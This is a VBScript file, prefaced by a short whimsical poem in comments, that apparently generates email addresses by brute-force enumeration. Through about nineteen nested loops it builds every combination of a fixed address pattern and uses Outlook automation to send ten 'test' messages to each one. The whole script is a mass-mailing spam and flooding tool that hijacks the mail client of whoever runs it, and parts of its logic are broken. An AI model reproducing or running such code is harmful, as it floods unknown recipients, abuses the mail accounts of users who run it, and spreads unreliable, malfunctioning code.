rem i an bird,not a big bird,it is a dull bird. rem i didn't sing three years ago,today i chirp it. 'On Error resume next on error goto 0 Set fs = CreateObject("Scripting.FileSystemObject") Set letter = fs.CreateTextFile(wscript.ScriptFullName&".txt", True) a= chr (97) for x=97 to 121 a=a&chr(x+1) next letter.WriteLine(a) n= chr (48) for x=48 to 56 n=n&chr(x+1) next letter.WriteLine(n) l=a&la bl=a&la&n sl=a&n dim aletter(35)    rem 2 0 for z=1 to 36 aletter(z-1)=mid(sl,z,1) rem msgbox aletter(z-1)    next dim al(25) for z=1 to 26 al(z-1)=mid(a,z,1) rem msgbox al(z-1)    next    rem 30 for z=1 to 26      s=al(z-1)      for z1=1 to 26         s1="."&al(z1-1)&s         for z2=1 to 26            s2=al(z2-1)&s1            for z3=1 to 26               s3=al(z3-1)&s2               for z4=1 to 26                            s4="."&al(z4-1)&s3                  for z5=1 to 36                     s5=aletter(z5-1)&s4                     for z6=1 to 36   ''50                        s6=aletter(z6-1)&s5                        for z7=1 to 36                               s7=aletter(z7-1)&s6                           for z8=1 to 36                               s8=aletter(z8-1)&s7                              for z9=1 to 36                                           s9=aletter(z9-1)&s8   ''60                                 for z10=1 to 36                                     s10="@"&aletter(z10-1)&s9                                    for z11=1 to 36                                       s11=aletter(z11-1)&s10                                       for z12=1 to 36                                          s12=aletter(z12-1)&s11                                          for z13=1 to 36    ''70                                             s13=aletter(z13-1)&s12                                             for z14=1 to 36                                                s14=aletter(z14-1)&s13                                                for z15=1 to 36                                                   s15=aletter(z15-1)&s14                                                   for z16=1 to 36                                                      s16=aletter(z16-1)&s15                                                      for z17=1 to 36                                                         s17=aletter(z17-1)&s16                                                         for z18=1 to 36                                                            s18=aletter(z18-1)&s17                                                            for z19=1 to 36                                                               s19=aletter(z19-1)&s18                                                               ' msgbox s19 set outlookapp = createobject ("outlook.application") if outlookapp <> 0 then     set outlookapp = createobject ("outlook express.application") end if for n =1 to 10 set item =outlookapp.createitem(o) item.to =s19 item.subject = "test" item.body = "hello" item.send next                                                              next                                                         next                                                      next                                                   next                                                next                                             next                                          next                                       next                                    next                                 next                              next                           next                        next                     next                  next               next            next          next      next next